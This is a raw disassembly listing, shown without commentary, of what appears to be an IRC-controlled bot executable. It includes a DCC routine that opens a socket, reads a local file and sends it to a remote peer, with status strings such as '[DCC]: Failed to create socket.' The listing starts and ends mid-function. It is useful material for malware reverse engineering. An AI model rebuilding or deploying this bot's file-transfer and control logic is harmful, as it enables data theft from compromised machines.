[esp+6Ch], 1 call sub_4019DD lea ecx, [esp+2Ch] mov edi, eax mov dword ptr [esp+64h], 0FFFFFFFFh call sub_401226 test edi, edi jz loc_40BC78 push edi lea ecx, [esp+18h] call sub_4014D3 mov ebx, 2 push 1 push offset asc_444600 ; " " lea eax, [esp+4Ch] push ebx push eax mov ecx, esi mov [esp+74h], ebx call sub_4011EA push eax push edi mov ecx, ebp mov byte ptr [esp+6Ch], 3 call sub_401F50 lea ecx, [esp+44h] mov [esp+64h], bl call sub_401226 lea ecx, [esp+14h] call sub_4017EE push eax mov ecx, edi call sub_4017EE push eax lea ecx, [edi+1Eh] call sub_4017EE push eax push offset aSSWasS ; "%s = \"%s\" [was \"%s\"]" lea ecx, [esi+69h] call sub_4014DD mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx push offset byte_4D8085 call sub_401857 add esp, 20h lea ecx, [esp+14h] mov dword ptr [esp+64h], 0FFFFFFFFh call sub_401226 mov al, 1 jmp short loc_40BC7A ; --------------------------------------------------------------------------- loc_40BC78: ; CODE XREF: ___:0040BB40j ; ___:0040BB97j ... xor al, al loc_40BC7A: ; CODE XREF: ___:0040BAEDj ; ___:0040BB80j ... mov ecx, [esp+5Ch] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 58h retn 4 ; --------------------------------------------------------------------------- db 90h db 0C0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40BD50 proc near ; CODE XREF: sub_401C08j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov cl, [eax] push 0 mov [esi], cl mov ecx, esi call sub_4021EE sub_40BD50 endp ; --------------------------------------------------------------------------- mov [esi+4], eax mov dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40BD90 proc near ; CODE XREF: sub_40155Fj var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_401C85 mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_40145B mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_40124E mov edx, [esi+4] mov ecx, esi push edx call sub_401FEB sub_40BD90 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40BE00 proc near ; CODE XREF: sub_40145Bj var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] push eax call sub_402117 mov ecx, [eax] add esp, 4 push ecx lea ecx, [esp+8+var_4] call sub_4014B0 mov edx, [eax] mov eax, [esp+4+arg_0] mov [eax], edx pop ecx retn 4 sub_40BE00 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40BE40 proc near ; CODE XREF: sub_401C85j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] lea ecx, [esp+4+var_4] push eax call sub_4014B0 mov ecx, [eax] mov eax, [esp+4+arg_0] mov [eax], ecx pop ecx retn 4 sub_40BE40 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40BE70 proc near ; CODE XREF: sub_401915j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi mov esi, ecx push eax lea ecx, [esp+0Ch+arg_0] push ecx mov ecx, esi call sub_401C85 mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_401C5D sub_40BE70 endp ; --------------------------------------------------------------------------- pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40BEB0 proc near ; CODE XREF: sub_401C03j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_401C85 mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_40145B mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_40124E pop esi add esp, 0Ch retn sub_40BEB0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40BF00 proc near ; CODE XREF: sub_401546j push esi mov esi, ecx call sub_402158 mov eax, esi pop esi retn sub_40BF00 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40BF20 proc near ; CODE XREF: sub_401F78j mov eax, [ecx] push eax call sub_401848 add esp, 4 retn sub_40BF20 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40BF40 proc near ; CODE XREF: sub_40133Ej push esi mov esi, ecx mov eax, [esi] push eax call sub_402117 mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_40BF40 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40BF70 proc near ; CODE XREF: sub_40136Bj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_401CFD neg al sbb eax, eax inc eax retn 4 sub_40BF70 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40BFA0 proc near ; CODE XREF: sub_401C5Dj arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch push ebx push esi mov esi, ecx push edi lea ecx, [esp+0Ch+arg_4] call sub_4016AE mov edi, eax push edi call sub_40215D mov eax, [eax] add esp, 4 mov ecx, esi push eax push edi call sub_4021EE sub_40BFA0 endp ; --------------------------------------------------------------------------- push edi mov ebx, eax call sub_40215D push edi mov [eax], ebx call sub_40215D mov edi, [eax] push edi call sub_40215D mov ecx, [eax] push ecx call sub_402117 mov edx, [esp+28h] add esp, 10h mov [eax], edi push edx push edi call sub_401848 add esp, 4 mov ecx, esi push eax call sub_401F32 mov ecx, [esi+8] push edi inc ecx mov [esi+8], ecx lea ecx, [esp+1Ch] call sub_4014B0 mov ecx, [eax] mov eax, [esp+10h] pop edi pop esi mov [eax], ecx pop ebx retn 0Ch ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C040 proc near ; CODE XREF: sub_40124Ej var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 8 lea eax, [esp+8+arg_8] push esi mov esi, ecx push eax lea ecx, [esp+10h+arg_4] call sub_40136B test al, al jz short loc_40C09A loc_40C058: ; CODE XREF: sub_40C040+47j lea ecx, [esp+0Ch+var_8] push 0 push ecx lea ecx, [esp+14h+arg_4] call sub_401B9A mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_40106E ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch+arg_8] push ecx lea ecx, [esp+10h+arg_4] call sub_40136B test al, al jnz short loc_40C058 mov eax, [esp+0Ch+arg_0] mov edx, [esp+0Ch+arg_4] pop esi mov [eax], edx add esp, 8 retn 0Ch ; --------------------------------------------------------------------------- loc_40C09A: ; CODE XREF: sub_40C040+16j mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_4] pop esi mov [eax], ecx add esp, 8 retn 0Ch sub_40C040 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40C0D0 proc near ; CODE XREF: sub_4021EEj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 0Ch call sub_401569 sub_40C0D0 endp ; --------------------------------------------------------------------------- mov edi, [esp+0Ch] mov esi, eax test edi, edi jnz short loc_40C0E5 mov edi, esi loc_40C0E5: ; CODE XREF: ___:0040C0E1j push esi call sub_402117 mov [eax], edi mov edi, [esp+14h] add esp, 4 test edi, edi jnz short loc_40C0FA mov edi, esi loc_40C0FA: ; CODE XREF: ___:0040C0F6j push esi call sub_40215D add esp, 4 mov [eax], edi mov eax, esi pop edi pop esi retn 8 ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40C120 proc near ; CODE XREF: sub_401FEBj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_402077 sub_40C120 endp ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C140 proc near ; CODE XREF: sub_402117j arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_40C140 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C160 proc near ; CODE XREF: sub_401848j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 8 retn sub_40C160 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C180 proc near ; CODE XREF: sub_402158j mov eax, ecx retn sub_40C180 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C1A0 proc near ; CODE XREF: sub_4014B0j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_40105A mov eax, esi pop esi retn 4 sub_40C1A0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C1D0 proc near ; CODE XREF: sub_401CFDj arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_40C1D0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40C200 proc near ; CODE XREF: sub_40106Ej var_4 = byte ptr -4 arg_4 = byte ptr 8 push ecx push ebx push esi push edi mov edi, ecx lea eax, [esp+10h+var_4] push 0 push eax lea ecx, [esp+18h+arg_4] call sub_401B9A mov ecx, eax call sub_4016AE mov esi, eax push esi call sub_402117 push esi mov ebx, eax call sub_40215D mov ecx, [eax] push ecx call sub_402117 mov edx, [ebx] push esi mov [eax], edx call sub_40215D push esi mov ebx, eax call sub_402117 mov eax, [eax] push eax call sub_40215D mov ecx, [ebx] push esi mov [eax], ecx call sub_401848 add esp, 1Ch mov ecx, edi push eax call sub_401221 push esi mov ecx, edi call sub_401FEB sub_40C200 endp ; --------------------------------------------------------------------------- mov eax, [edi+8] mov edx, [esp+18h] dec eax mov [edi+8], eax mov eax, [esp+14h] pop edi pop esi mov [eax], edx pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C2C0 proc near ; CODE XREF: sub_40215Dj arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_40C2C0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40C2E0 proc near ; CODE XREF: sub_401569j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401D2A sub_40C2E0 endp ; --------------------------------------------------------------------------- add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40C310 proc near ; CODE XREF: sub_402077j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_437AD2 sub_40C310 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C330 proc near ; CODE XREF: sub_401F32j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_4011AE add esp, 8 retn 8 sub_40C330 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C360 proc near ; CODE XREF: sub_40105Aj arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_40C360 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C380 proc near ; CODE XREF: sub_4016AEj mov eax, [ecx] retn sub_40C380 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C3A0 proc near ; CODE XREF: sub_401B9Aj arg_0 = dword ptr 4 push esi mov esi, [ecx] call sub_40133E mov eax, [esp+4+arg_0] mov [eax], esi pop esi retn 8 sub_40C3A0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C3D0 proc near ; CODE XREF: sub_401221j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_2 pop ecx retn 4 sub_40C3D0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C3F0 proc near ; CODE XREF: sub_4011AEj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_4011CC add esp, 8 test eax, eax jz short locret_40C40B mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_40C40B: ; CODE XREF: sub_40C3F0+11j retn sub_40C3F0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40C440 proc near ; CODE XREF: sub_401BF9j var_24 = byte ptr -24h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40C440 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push esi push 0 push 4 push 0Eh push 5 push 13h push 4Fh push 3 push 3 lea eax, [esp+48h+var_24] push 4 mov esi, ecx push eax call sub_4019C4 add esp, 28h push esi mov ecx, eax mov [esp+2Ch+var_4], 0 call sub_40168B add esi, 4 push eax push esi mov ecx, offset dword_449128 call sub_40159B sub_40C440 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+24h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+1Ch] pop esi mov large fs:0, ecx add esp, 24h retn ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C4E0 proc near ; CODE XREF: sub_40171Cj var_AB4 = dword ptr -0AB4h var_AAC = dword ptr -0AACh var_AA8 = dword ptr -0AA8h var_AA4 = dword ptr -0AA4h var_AA0 = dword ptr -0AA0h var_A9C = byte ptr -0A9Ch var_A98 = byte ptr -0A98h var_A94 = dword ptr -0A94h var_A90 = dword ptr -0A90h var_A8C = dword ptr -0A8Ch var_A88 = dword ptr -0A88h var_A84 = dword ptr -0A84h var_A78 = byte ptr -0A78h var_A74 = dword ptr -0A74h var_A70 = byte ptr -0A70h var_A6C = byte ptr -0A6Ch var_A5C = byte ptr -0A5Ch var_A54 = byte ptr -0A54h var_A3C = byte ptr -0A3Ch var_A38 = byte ptr -0A38h var_A24 = byte ptr -0A24h var_A1C = dword ptr -0A1Ch var_A18 = dword ptr -0A18h var_910 = byte ptr -910h var_710 = byte ptr -710h var_510 = byte ptr -510h var_40C = byte ptr -40Ch var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_40C4E0 push eax mov large fs:0, esp sub esp, 0AA0h add ecx, 4 push ebx push ebp push esi push edi call sub_4014DD mov ebp, [esp+0ABCh+arg_0] push eax lea ecx, [ebp+7Eh] call sub_4012EE test eax, eax jnz loc_40CA2E lea ecx, [esp+0ABCh+var_A78] call sub_401091 push 1 push offset asc_444600 ; " " lea eax, [esp+0AC4h+var_A3C] xor esi, esi push 1 push eax mov ecx, ebp mov [esp+0ACCh+var_4], esi call sub_4011EA push eax lea ecx, [esp+0AC0h+var_A70] mov byte ptr [esp+0AC0h+var_4], 1 call sub_40202C lea ecx, [esp+0ABCh+var_A3C] mov byte ptr [esp+0ABCh+var_4], 0 call sub_401226 push esi push 1 push 2 mov [esp+0AC8h+var_AA8], esi mov [esp+0AC8h+var_AA4], esi mov [esp+0AC8h+var_A90], esi nop call near ptr 71AB3B91h mov ebx, eax cmp ebx, 0FFFFFFFFh mov [esp+0ABCh+var_AAC], ebx jnz short loc_40C5AC lea ecx, [esp+0ABCh+var_710] push offset aDccFailedToCre ; "[DCC]: Failed to create socket." push ecx nop call sub_5F74D1 add esp, 8 jmp loc_40C9D5 ; --------------------------------------------------------------------------- loc_40C5AC: ; CODE XREF: sub_40C4E0+AFj xor edx, edx push esi mov [esp+0AC0h+var_AA0], edx mov word ptr [esp+0AC0h+var_AA0], 2 mov dword ptr [esp+0AC0h+var_A9C], edx mov dword ptr [esp+0AC0h+var_A98], edx mov [esp+0AC0h+var_A94], edx nop call near ptr 71AB2B66h mov word ptr [esp+0ABCh+var_AA0+2], ax lea eax, [esp+0ABCh+var_AA0] push 10h push eax push ebx mov dword ptr [esp+0AC8h+var_A9C], esi call near ptr 71AB3E00h nop test eax, eax jz short loc_40C5FA lea ecx, [ebp+69h] call sub_4014DD push eax push offset aDccFailedToBin ; "dcc: failed to bind socket" jmp loc_40C6A0 ; --------------------------------------------------------------------------- loc_40C5FA: ; CODE XREF: sub_40C4E0+105j lea eax, [esp+0ABCh+var_A88] lea ecx, [esp+0ABCh+var_AA0] push eax push ecx push ebx mov [esp+0AC8h+var_A88], 10h call near ptr 71AB951Eh nop mov edx, [esp+0ABCh+var_AA0+2] push edx nop call near ptr 71AB2B66h lea ecx, [esp+0ABCh+var_A70] mov [esp+0ABCh+var_A8C], eax call sub_4014DD mov edi, eax or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+0ABCh+var_910] repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 xor edx, edx rep movsb loc_40C653: ; CODE XREF: sub_40C4E0+1A3j mov al, [esp+edx+0ABCh+var_910] cmp al, 20h jnz short loc_40C665 mov eax, 5Fh jmp short loc_40C668 ; --------------------------------------------------------------------------- loc_40C665: ; CODE XREF: sub_40C4E0+17Cj movsx eax, al loc_40C668: ; CODE XREF: sub_40C4E0+183j mov [esp+edx+0ABCh+var_510], al lea edi, [esp+0ABCh+var_910] or ecx, 0FFFFFFFFh xor eax, eax inc edx repne scasb not ecx dec ecx cmp edx, ecx jbe short loc_40C653 push 1 push ebx call near ptr 71AB88D3h nop test eax, eax jz short loc_40C6BD lea ecx, [ebp+69h] call sub_4014DD push eax push offset aDccFailedToOpe ; "dcc: failed to open socket" loc_40C6A0: ; CODE XREF: sub_40C4E0+115j mov cl, [ebp+94h] mov dl, [ebp+93h] push ecx push edx mov ecx, offset byte_4D8085 call sub_401118 jmp loc_40C9CF ; --------------------------------------------------------------------------- loc_40C6BD: ; CODE XREF: sub_40C4E0+1B0j push 0 push 0 push 3 push 0 push 1 push 80000000h lea ecx, [esp+0AD4h+var_A70] call sub_4017EE push eax nop call near ptr 28503BDh mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_40C724 lea ecx, [ebp+69h] call sub_4014DD mov cl, [ebp+93h] push eax mov al, [ebp+94h] push offset aDccFileDoesnTE ; "dcc: file doesn't exist" push eax push ecx mov ecx, offset byte_4D8085 call sub_401118 lea edx, [esp+0ABCh+var_710] push offset aDccFileDoesn_0 ; "[DCC]: File doesn't exist." push edx nop call sub_5F74D1 add esp, 8 jmp loc_40C9CF ; --------------------------------------------------------------------------- loc_40C724: ; CODE XREF: sub_40C4E0+201j push 0 push esi nop call near ptr 2850000h lea ecx, [esp+0ABCh+var_A54] mov ebx, eax call sub_40142E mov eax, [esp+0ABCh+var_A8C] push ebx and eax, 0FFFFh mov byte ptr [esp+0AC0h+var_4], 2 push eax mov eax, dword_4D809D push eax call sub_401E10 add esp, 4 push eax nop call near ptr 71AB2BF4h push eax call near ptr 71AB2BC0h nop push eax lea ecx, [esp+0AD0h+var_A78] call sub_4017EE push eax lea ecx, [esp+0AD4h+var_A5C] push offset dword_444A10 push ecx call sub_40102D add esp, 18h lea ecx, [ebp+15h] call sub_40168B push eax lea ecx, [esp+0AC8h+var_A5C] call sub_4014DD mov dl, [ebp+94h] push eax mov al, [ebp+93h] push edx push eax mov ecx, offset byte_4D8085 call sub_401118 mov edi, [esp+0AC4h+var_AB4] lea ecx, [esp+0AC4h+var_A88] push ecx push 0 lea edx, [esp+0ACCh+var_A1C] push 0 push edx push 0 mov [esp+0AD8h+var_A88], 3Ch mov [esp+0AD8h+var_A84], 0 mov [esp+0AD8h+var_A18], edi mov [esp+0AD8h+var_A1C], 1 nop call near ptr 71AB2DC0h test eax, eax jg short loc_40C81D lea ecx, [ebp+69h] call sub_4014DD mov cl, [ebp+93h] push eax mov al, [ebp+94h] push offset aDccTimeout ; "dcc: timeout" push eax push ecx mov ecx, offset byte_4D8085 call sub_401118 jmp loc_40C9BA ; --------------------------------------------------------------------------- loc_40C81D: ; CODE XREF: sub_40C4E0+310j lea edx, [esp+0ABCh+var_A84] lea eax, [esp+0ABCh+var_A24] push edx push eax push edi mov [esp+0AC8h+var_A84], 10h nop call near ptr 71AC1028h cmp eax, 0FFFFFFFFh mov [esp+0ABCh+var_A74], eax jnz short loc_40C86D lea ecx, [ebp+69h] call sub_4014DD mov cl, [ebp+94h] mov dl, [ebp+93h] push eax push offset aDccUnableToOpe ; "dcc: unable to open socket" push ecx push edx mov ecx, offset byte_4D8085 call sub_401118 jmp loc_40C9BA ; --------------------------------------------------------------------------- loc_40C86D: ; CODE XREF: sub_40C4E0+360j push edi nop call near ptr 71AB9639h test ebx, ebx jz loc_40C925 loc_40C87C: ; CODE XREF: sub_40C4E0+438j mov ebp, 400h cmp ebx, ebp jge short loc_40C887 mov ebp, ebx loc_40C887: ; CODE XREF: sub_40C4E0+3A3j mov edx, ebx xor eax, eax neg edx push 2 mov ecx, 100h lea edi, [esp+0AC0h+var_40C] push eax push edx push esi rep stosd nop call near ptr 284037Eh lea eax, [esp+0ABCh+var_A90] push 0 push eax lea ecx, [esp+0AC4h+var_40C] push ebp push ecx push esi nop call near ptr 2840000h mov eax, [esp+0ABCh+var_A74] push 0 lea edx, [esp+0AC0h+var_40C] push ebp push edx push eax nop call near ptr 71AB428Ah mov ecx, [esp+0ABCh+var_AA8] mov ebp, [esp+0ABCh+var_AA4] mov edi, eax push 0 cdq add ecx, eax push 400h mov [esp+0AC4h+var_AA8], ecx lea ecx, [esp+0AC4h+var_40C] adc ebp, edx mov edx, [esp+0AC4h+var_A74] push ecx push edx mov [esp+0ACCh+var_AA4], ebp nop call near ptr 71AB615Ah cmp eax, 1 jl loc_40C9EE cmp edi, 1 jl loc_40C9EE sub ebx, edi jnz loc_40C87C mov ebp, [esp+0ABCh+arg_0] loc_40C925: ; CODE XREF: sub_40C4E0+396j push esi nop call near ptr 28309C5h lea ecx, [esp+0AB8h+var_A38] call sub_40142E mov eax, [esp+0AB8h+var_AA0] mov ecx, [esp+0AB8h+var_AA4] push eax push ecx lea ecx, [esp+0AC0h+var_A6C] mov byte ptr [esp+0AC0h], 3 call sub_4014DD mov edx, [esp+0AC0h+var_A1C] push eax push edx nop call near ptr 71AB3F41h push eax lea eax, [esp+0ACCh+var_A3C] push offset aDccCompleteToS ; "dcc: complete to %s, file: %s, (%d byte"... push eax call sub_40102D add esp, 18h lea ecx, [ebp+69h] call sub_4014DD push eax lea ecx, [esp+0AC0h+var_A3C] call sub_4014DD mov cl, [ebp+94h] mov dl, [ebp+93h] push eax push ecx push edx mov ecx, offset byte_4D8085 call sub_401118 lea ecx, [esp+0ABCh+var_A3C] mov byte ptr [esp+0ABCh+var_4], 2 call sub_401226 loc_40C9BA: ; CODE XREF: sub_40C4E0+338j ; sub_40C4E0+388j lea ecx, [esp+0ABCh+var_A54] mov byte ptr [esp+0ABCh+var_4], 0 call sub_401226 mov ebx, [esp+0ABCh+var_AAC] loc_40C9CF: ; CODE XREF: sub_40C4E0+1D8j ; sub_40C4E0+23Fj xor esi, esi cmp ebx, esi jbe short loc_40C9DC loc_40C9D5: ; CODE XREF: sub_40C4E0+C7j push ebx nop call near ptr 71AB9639h loc_40C9DC: ; CODE XREF: sub_40C4E0+4F3j mov eax, [esp+0ABCh+var_A74] push eax nop call near ptr 71AB9639h push esi nop call near ptr 28303F9h loc_40C9EE: ; CODE XREF: sub_40C4E0+427j ; sub_40C4E0+430j mov esi, [esp+0ABCh+arg_0] lea ecx, [esi+69h] call sub_4014DD mov cl, [esi+93h] push eax mov al, [esi+94h] push offset aDccSocketError ; "dcc: socket error" push eax push ecx mov ecx, offset byte_4D8085 call sub_401118 mov edx, [esp+0ABCh+var_A74] push edx nop call near ptr 71AB9639h push 1 nop call near ptr 28303F9h loc_40CA2E: ; CODE XREF: sub_40C4E0+39j mov ecx, [esp+0ABCh+var_C] pop edi pop esi pop ebp xor al, al pop ebx mov large fs:0, ecx add esp, 0AACh retn 4 sub_40C4E0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 160h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40CBB0 proc near ; CODE XREF: sub_401091j push esi mov esi, ecx lea ecx, [esi+8] call sub_40142E mov eax, esi pop esi retn sub_40CBB0 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_40CBD0: ; CODE XREF: ___:loc_401B13j add ecx, 8 jmp sub_401226 ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40CBF0 proc near ; CODE XREF: sub_402063j var_24 = byte ptr -24h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40CBF0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push esi push 0 push 5 push 0Ch push 9 lea eax, [esp+38h+var_24] push 6 mov esi, ecx push eax call sub_4019C4 add esp, 18h push esi mov ecx, eax mov [esp+2Ch+var_4], 0 call sub_4017EE add esi, 4 push eax push esi mov ecx, offset dword_449128 call sub_40159B sub_40CBF0 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+24h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+1Ch] pop esi mov large fs:0, ecx add esp, 24h retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40CC90 proc near ; CODE XREF: sub_401BB8j var_279 = byte ptr -279h var_278 = byte ptr -278h var_260 = dword ptr -260h var_25C = dword ptr -25Ch var_258 = byte ptr -258h var_247 = byte ptr -247h var_232 = byte ptr -232h var_221 = dword ptr -221h var_21D = dword ptr -21Dh var_219 = dword ptr -219h var_215 = dword ptr -215h var_211 = dword ptr -211h var_20C = byte ptr -20Ch var_208 = byte ptr -208h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_40CC90 push eax mov large fs:0, esp sub esp, 270h add ecx, 4 push esi call sub_4014DD mov esi, [esp+280h+arg_0] push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_40CE91 push ebx lea ecx, [esp+284h+var_260] call sub_40199C lea eax, [esi+2Ah] xor ebx, ebx push eax lea ecx, [esp+288h+var_25C] mov [esp+288h+var_4], ebx mov [esp+288h+var_260], ebx call sub_40202C push 1 push offset asc_444600 ; " " lea ecx, [esp+28Ch+var_278] push 2 push ecx mov ecx, esi call sub_4011EA mov ecx, eax mov byte ptr [esp+284h+var_4], 1 call sub_4017EE push eax lea ecx, [esp+288h+var_247] call sub_401A9B lea ecx, [esp+284h+var_278] mov byte ptr [esp+284h+var_4], bl call sub_401226 push 1 push offset asc_444600 ; " " lea edx, [esp+28Ch+var_278] push 3 push edx mov ecx, esi call sub_4011EA mov ecx, eax mov byte ptr [esp+284h+var_4], 2 call sub_4017EE push eax lea ecx, [esp+288h+var_232] call sub_401A9B lea ecx, [esp+284h+var_278] mov byte ptr [esp+284h+var_4], bl call sub_401226 mov edx, [esp+284h+var_221] xor eax, eax mov al, [esi+94h] xor ecx, ecx mov cl, [esi+93h] mov [esp+284h+var_219], eax lea eax, [esp+284h+var_278] mov [esp+284h+var_215], ecx push edx push eax lea ecx, [esp+28Ch+var_232] mov [esp+28Ch+var_21D], ebx mov [esp+28Ch+var_211], 1 call sub_401E47 push 